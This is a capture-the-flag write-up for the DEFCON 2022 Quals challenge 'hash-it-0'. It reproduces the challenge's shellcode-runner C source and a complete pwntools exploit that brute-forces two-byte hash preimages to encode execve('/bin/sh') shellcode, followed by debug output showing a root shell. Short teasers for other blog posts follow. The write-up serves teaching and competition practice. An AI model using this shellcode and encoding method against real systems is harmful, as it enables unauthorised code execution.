DEFCON 2022 Quals: hash-it-0
shellcoding using hash functions!
hash it 0
The hash-it-0 challenge is from DEFCON’s 2022 qualification round. It is like a normal shellcoding challenge but with mild steroids…
The challenge involves shellcoding and we need to encode the shellcode for the target program to process and execute.
Analysis
The challenge involves single binary called main.c:
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <openssl/evp.h>
#define ALARM_SECONDS 10
void be_a_ctf_challenge()
{
alarm(ALARM_SECONDS);
}
typedef const EVP_MD *(*hash_algo_t)(void);
hash_algo_t HASH_ALGOS[] = {
EVP_md5,
EVP_sha1,
EVP_sha256,
EVP_sha512};
int hash_byte(
uint8_t input_byte_0,
uint8_t input_byte_1,
uint8_t *output_byte,
const EVP_MD *(*evp_md)(void))
{
EVP_MD_CTX *mdctx;
uint8_t input[2];
input[0] = input_byte_0;
input[1] = input_byte_1;
if ((mdctx = EVP_MD_CTX_new()) == NULL)
{
return -1;
}
if (1 != EVP_DigestInit_ex(mdctx, evp_md(), NULL))
{
return -1;
}
if (1 != EVP_DigestUpdate(mdctx, input, 2))
{
return -1;
}
uint8_t *digest = malloc(EVP_MD_size(evp_md()));
if (digest == NULL)
{
return -1;
}
unsigned int digest_len = 0;
if (1 != EVP_DigestFinal_ex(mdctx, digest, &digest_len))
{
return -1;
}
EVP_MD_CTX_free(mdctx);
*output_byte = digest[0];
free(digest);
return 0;
}
int read_all(FILE *fh, void *buf, size_t len)
{
uint8_t *b8 = (uint8_t *)buf;
size_t bytes_read = 0;
while (bytes_read < len)
{
int r = fread(&b8[bytes_read], 1, len - bytes_read, fh);
if (r <= 0)
{
return -1;
}
bytes_read += r;
}
return 0;
}
int main(int argc, char *argv)
{
be_a_ctf_challenge();
uint32_t shellcode_len = 0;
if (read_all(stdin, &shellcode_len, sizeof(uint32_t)))
{
return -1;
}
shellcode_len = ntohl(shellcode_len);
uint8_t *shellcode_mem = malloc(shellcode_len);
if (shellcode_mem == NULL)
{
return -1;
}
if (read_all(stdin, shellcode_mem, shellcode_len))
{
return -1;
}
unsigned int i;
for (i = 0; i < shellcode_len; i += 2)
{
uint8_t new_byte;
if (hash_byte(shellcode_mem[i],
shellcode_mem[i + 1],
&new_byte,
HASH_ALGOS[(i >> 1) % 4]))
{
return -1;
}
shellcode_mem[i / 2] = new_byte;
}
/* If they can't figure out shellcode_len needs to be page-aligned that's
their problem. */
void *mem = mmap(0,
shellcode_len / 2,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
-1,
0);
memcpy(mem, shellcode_mem, shellcode_len / 2);
((void (*)())mem)();
return 0;
}
The program reads in length of the shellcode, and reads shellcode to the length given.
Notes
read_all
seems to be secure.shellcode_len
gets converted into little-endian from big-endian.mmap
will allocate a page and will use it to run the shellcode.
Back to main.c :leftwards_arrow_with_hook:
We’re mostly interested in hash_byte
, since it will process the user input and create a new shellcode to execute.
Observing hash_byte
suggests that it will take in two bytes and create a single output byte. It will choose one of four hash algorithms from:
hash_algo_t HASH_ALGOS[] = {
EVP_md5,
EVP_sha1,
EVP_sha256,
EVP_sha512};
based on the current index- and this is circular, meaning the first two bytes will be processed by MD5, the second SHA-1, the third SHA-256, the fourth SHA-512, and back to MD5.
Planning
We could only create an encoded shellcode where each two bytes, when digested by hash, corresponds to each byte of the actual shellcode and send it.
This can be achieved by:
- writing the shellcode
- brute force 2-byte input for hash to match each byte of shellcode
- construct & send the encoded payload
Exploit
A Python exploit that reciprocates the above plan can be written as:
#!/usr/bin/python3
from pwn import *
import hashlib
context.log_level='debug'
context.arch='amd64'
# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
sc = asm(f'''
lea rdi, [rip+binsh]
xor rdx, rdx
xor rsi, rsi
mov eax, 59
syscall
binsh: .asciz "/bin/sh"
''')
payload = b''
for i, c in enumerate(sc):
for j in range(2**16): # brute force 2 bytes
if i % 4 == 0: m = hashlib.md5() # initialize everytime!!!
elif i % 4 == 1: m = hashlib.sha1()
elif i % 4 == 2: m = hashlib.sha256()
elif i % 4 == 3: m = hashlib.sha512()
m.update(p16(j)) # 2 byte input
if m.digest()[0] == c: # match found
payload += p16(j)
break
else:
log.critical("Hash crack fail") # after all iterations
exit()
log.info("length: "+str(len(payload)))
p=process('./challenge')
s(p32(len(payload))[::-1]) # big endian
# gdb.attach(p)
sleep(1.0)
s(payload)
p.interactive()
I didn’t know I had to initialize hash function everytime before using it, but now I do.
result:
> # ./exp.py
[DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python3.10/dist-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
.section .shellcode,"awx"
.global _start
.global __start
.p2align 2
_start:
__start:
.intel_syntax noprefix
lea rdi, [rip+binsh]
xor rdx, rdx
xor rsi, rsi
mov eax, 59
syscall
binsh: .asciz "/bin/sh"
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-zrc6ejvk/step2 /tmp/pwn-asm-zrc6ejvk/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-zrc6ejvk/step3 /tmp/pwn-asm-zrc6ejvk/step4
[*] length: 56
[+] Starting local process './challenge' argv=[b'./challenge'] : pid 2656
[DEBUG] Sent 0x4 bytes:
00000000 00 00 00 38 │···8│
00000004
[DEBUG] Sent 0x38 bytes:
00000000 6a 01 26 00 8c 00 f3 00 71 00 0a 00 17 00 33 02 │j·&·│····│q···│··3·│
00000010 5d 00 f4 00 6e 00 f4 01 55 00 2d 01 c7 00 81 02 │]···│n···│U·-·│····│
00000020 71 00 0a 00 62 01 0e 00 c2 00 80 00 11 03 5b 01 │q···│b···│····│··[·│
00000030 c2 00 3f 00 d0 00 81 02 │··?·│····│
00000038
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
b'id\n'
[DEBUG] Received 0x34 bytes:
b'uid=0(root) gid=0(root)
Thanks,
079
GPU accelerated SMT constraint solving
By applying traditional fuzzing techniques, we achieved high throughput SMT constraint solving. We were able to achieve 23 billion execs/s using GPU acceleration.
CUDA Reversing Challenge
This year’s CSAW quals was the first time I authored a challenge, the challenge is called krakme and it was a 200pt rev challenge. You can view the challenge files in the repo here. The idea for this challenge was formed after reading this paper The impact of GPU-assisted malware on memory forensics: A case study, in fact gpu has been used by malware and anti-virus software. For malware, it can be used as a means to hide malicious code, and unpack it via an OpenCL/Cuda kernel, even via shader code, and in defense, it can be used to speed up memory scanning and to avoid slowing down the system by offloading the task to gpu. If you are a gamer, you might want to make sure this is off though.
DawgCTF 2020 - Where we roppin boys?
CTF Writeup for DawgCTF 2020: Where we roppin boys?